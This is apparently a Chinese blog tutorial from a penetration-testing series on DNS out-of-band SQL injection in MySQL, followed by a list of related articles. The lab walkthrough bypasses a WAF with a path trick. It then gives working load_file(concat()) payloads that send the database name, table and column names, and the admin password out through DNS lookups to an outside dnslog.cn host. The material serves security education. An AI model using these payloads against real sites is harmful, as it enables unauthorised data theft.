17、注入篇--DNS注入(MySQL)
DNS注入
DNS注入也称DNS带外注入、DNSLog注入
DNS
DNS(Domain Name System)域名系统,将域名与IP地址相互映射的一个分布式数据库
DNS注入核心是 将盲注变为显错注入
DNS-log
DNS服务器的解析记录
注入基础
1、load_file() 读取文件的函数
读取文件并返回文件内容为字符串
要使用此函数文件必须位于主服务器上,必须指定完整路径的文件,而且必须有file权限
该文件所有字节可读,但文件内容必须小于max_allower_packet(限制server接收的数据包大小函数,默认1MB)
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL1
load_file() 是数据库函数
该功能不是默认开启的,需要在MySQL配置文件加一句:secure_file_priv=
2、UNC路径
UNC(Universal Naming Convention)
通用命名规则,也称通用命名规范、通用命名约定
UNC路径:
-
格式:\\servername\sharename (servername–服务器名;sharename共享资源的名称)
-
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename
-
unc共享就是指网络硬盘的共享
-
UNC路径也可以这样写:
//servername/sharename [ 建议这样写 ]
DNS-LOG平台:http://www.dnslog.cn/ 可以记录 是否有人访问了该域名,并且记录域名是什么
3、concat() 字符串连接函数
DNS注入缺陷
- 目标必须有网络
- Windows机器较为常见
注意:
- index.php/1.txt?id=1
- 当1.txt不存在时,就会检测上一级 文件是否存在
- 如果上一级文件存在,就会把id=1传参给index.php
靶场
1、进入靶场,看到源码,可以使用id进行传值
2、使用?id=1 and 1=1 有WAF
3、使用/1.txt?id=1 进行绕过 并分别输入 and 1=1 和 and 1=2 进行探测
绕WAF:
1、绕规则
2、绕检测
3、白名单
and 1=1
and 1=2
4、使用DNS注入,用load_file()函数构造payload 爆出数据名名:
http://xxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,database(),’.h3uk2s.dnslog.cn/abc’)))
5、构造payload 爆出当前数据库下的表名:
爆出第一个表名 admin
http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),’.h3uk2s.dnslog.cn/abc’)))
注意:.h3uk2s.dnslog.cn/abc 中的abc存不存在 不重要
爆出第二条表名 news
爆出第三条表名时 无反应
故判断 只有两张表 admin news
6、构造payload爆出admin表下的字段名
爆出第一个字段名id
http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select column_name from information_schema.columns where table_schema=database() and table_name=’admin’
limit 0,1),’.h3uk2s.dnslog.cn/abc’)))
爆出第二个字段名 limit 1,1 username
爆出第三个字段名limit 2,1 password
爆出第四个字段名时 limit 3,1 无反应
故判断 admin表下总共3个字段 id、username、password
7、flag可能在password字段中,所以构造payload 爆出password字段中的信息
爆出第一条信息
http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select password from admin limit 0,1),’.h3uk2s.dnslog.cn/abc’)))
使用limit 1,1 没有反应
故判断只有一条信息
8、得到flag,通关
相关文章
- mysql 常用语句记录
- mysql常见字符串处理函数结束
- yum命令mysql,jdk,tomcat
- 【sql注入教程】mysql注入直接getshell
- mysql中将多行数据合并成一行显示
- MySQL模糊查询再也不用 like+% 了。。。
- MySQL 8.0 可以操作 JSON 了,牛逼。。。
- mysql中char,varchar与text类型的区别和选用
- oracle 和 mysql 遍历当前月份每一天
- mysql.connector.errors.IntegrityError: 1048 (23000): Column 'request_url' cannot be null
- 2023-01-23 mysql列存储引擎-聚合多线程并行扫表-VCPackGuardian策略LOCK_LRU-概要设计
- Mysql的索引和慢查询优化
- MySQL,Oracle,SQL Server等准实时同步到PostgreSQL的方案之一 - FDW外部访问接口
- 70.网络安全渗透测试—[SQL注入篇9]—[MySQL+PHP-延时注入]
- 69.网络安全渗透测试—[SQL注入篇8]—[MySQL+PHP-报错注入读写文件]
- 68.网络安全渗透测试—[SQL注入篇7]—[MySQL+PHP-报错注入详解&示例]
- 67.网络安全渗透测试—[SQL注入篇6]—[MySQL+PHP-读写操作]
- 65.网络安全渗透测试—[SQL注入篇4]—[MySQL+PHP-手工注入详解]
- mysql innodb 奔溃问题
- 【mysql我能讲两小时035】group commit有什么好处?使用时需要注意什么?